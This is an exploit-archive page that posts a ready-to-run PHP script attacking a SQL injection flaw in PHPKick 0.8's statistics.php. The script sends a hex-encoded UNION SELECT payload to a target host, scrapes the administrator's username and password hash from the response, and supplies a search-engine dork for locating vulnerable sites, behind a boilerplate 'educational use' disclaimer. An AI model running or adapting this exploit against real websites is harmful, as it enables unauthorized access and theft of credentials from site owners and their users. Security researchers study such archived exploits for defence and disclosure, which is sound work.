exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHPKick 0.8 SQL Injection

PHPKick 0.8 SQL Injection
Posted Aug 12, 2010
Authored by garwga

PHPKick version 0.8 statistics.php remote SQL injection exploit.

tags | exploit, remote, php, sql injection
SHA-256 | faf9a3b1fbd41a31ea0a001c8d00d5d0d7b59fe266c84bc96699a1f238f7b372

PHPKick 0.8 SQL Injection

Change Mirror Download
# Exploit Title: PHPKick v0.8 statistics.php SQL Injection
# Date: August 8th, 2010
# Time: 03:45am ;(
# Author: garwga
# Version: 0.8
# Google dork : "© 2004 PHPKick.de Version 0.8"
# Category: webapps/0day
# Code: see below

<?php
echo"\n\n";
echo"|=================PHPKick v0.8 statistics.php SQL Injection==================|\n";
echo"| |\n";
echo"|Syntax: php ".$_SERVER['argv'][0]." [host] [path] |\n";
echo"| |\n";
echo"|Example: php ".$_SERVER['argv'][0]." http://www.domain.com /path/ |\n";
echo"| |\n";

echo"|Notes:This exploit works regardless of the PHP security settings |\n";
echo"| (magic_quotes, register_globals).This exploit is only for educational |\n";
echo"| use, use it on your own risk! Exploiting scripts without permission of|\n";
echo"| the owner of the webspace is illegal! |\n";
echo"| I'm not responsible for any resulting damage |\n";
echo"| |\n";
echo"|Google Dork: \"© 2004 PHPKick.de Version 0.8\" |\n";
echo"| |\n";
echo"|Exploit found by garwga (ICQ#:453-144-667) |\n";
echo"|============================================================================|\n\n\n";


if($_SERVER['argv'][1] && $_SERVER['argv'][2]){
$host=$_SERVER['argv'][1];
$path=$_SERVER['argv'][2];
$spos=strpos($host, "http://");
if(!is_int($spos)&&($spos==0)){
$host="http://$host";
}
if(!$host=="http://localhost"){
$spos=strpos($host, "http://www.");
if (!is_int($spos)&&($spos==0)){
$host="http://www.$host";
}
}
$exploit="statistics.php?action=overview&gameday=-32%20union%20select%201,2,3,4,0x2720756e696f6e2073656c65637420312c322c636f6e636174286e69636b2c273a272c70617373776f7274292c342c352c362c372066726f6d206b69636b5f757365722077686572652069643d2231222d2d2066,6,7,8--%20f";
echo"exploiting...\n";
$source=file_get_contents($host.$path.$exploit);
$username=GetBetween($source," :<br>",":");
echo "username: $username\n";
$hash=GetBetween($source,"<br>$username:","</td>");
echo"hash: $hash\n";
}
else{
echo"\n\n";
echo"|=================PHPKick v0.8 statistics.php SQL Injection==================|\n";
echo"| |\n";
echo"|Syntax: php ".$_SERVER['argv'][0]." [host] [path] |\n";
echo"| |\n";
echo"|Example: php ".$_SERVER['argv'][0]." http://www.domain.com /path/ |\n";
echo"| |\n";

echo"|Notes:This exploit works regardless of the PHP security settings |\n";
echo"| (magic_quotes, register_globals).This exploit is only for educational |\n";
echo"| use, use it on your own risk! Exploiting scripts without permission of|\n";
echo"| the owner of the webspace is illegal! |\n";
echo"| I'm not responsible for any resulting damage |\n";
echo"| |\n";
echo"|Google Dork: \"© 2004 PHPKick.de Version 0.8\" |\n";
echo"| |\n";
echo"|Exploit found by garwga (ICQ#:453-144-667) |\n";
echo"|============================================================================|\n";
}
function GetBetween($content,$start,$end){
$r = explode($start, $content);
if (isset($r[1])){
$r = explode($end, $r[1]);
return $r[0];
}
return '';
}
?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close